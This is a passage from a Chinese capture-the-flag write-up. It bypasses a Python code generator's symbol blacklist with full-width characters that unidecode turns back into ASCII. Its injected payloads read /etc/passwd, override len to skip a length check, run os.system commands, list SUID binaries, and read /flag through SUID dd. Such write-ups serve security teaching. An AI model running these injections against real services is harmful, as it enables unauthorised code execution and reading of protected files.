5
6
7
8
blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"


elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:
code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"

unidecode的一个特性是可以将全角字符转为半角后正常识别,可以通过这个特性来绕过黑名单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 半角 ⇔ 全角 変換
import unicodedata

def to_halfwidth(text):
return unicodedata.normalize('NFKC', text)

def to_fullwidth(text):
return ''.join(chr(ord(c) + 0xFEE0) if '!' <= c <= '~' else c for c in text)


str1 = '''
hello
'''

print(to_fullwidth(str1))

可以读文件,但是读不了flag

1
s')\nprint(open("/etc/passwd", "r").read())\n#

在do中还拼接了一段函数,对长度进行了限制,可以通过重写len函数,让它返回一个固定的值

1
__builtins__.len = lambda x:0;print(len('aaaaa'))

然后构造命令执行

1
2
3
';__import__("builtins").len=lambda x:0;print(__import__("os").system("ls /"));'

';__import__("builtins").len=lambda x:0;print(__import__("os").system("ls /"));'

suid 提权

1
2
3
';__import__("builtins").len=lambda x:0;print(__import__("os").system("find / -perm -u=s -type f 2>/dev/null"));'

';__import__("builtins").len=lambda x:0;print(__import__("os").system("find / -perm -u=s -type f 2>/dev/null"));'
1
2
3
4
5
6
7
8
9
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/dd
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/umount

读flag

1
2
3
';__import__("builtins").len=lambda x:0;print(__import__("os").system("dd if=/flag"));'

';__import__("builtins").len=lambda x:0;print(__import__("os").system("dd if=/flag"));'

2025校赛wp
https://www.dr0n.top/posts/806c3419/
作者
dr0n
发布于
2025年10月22日
更新于
2025年10月29日
许可协议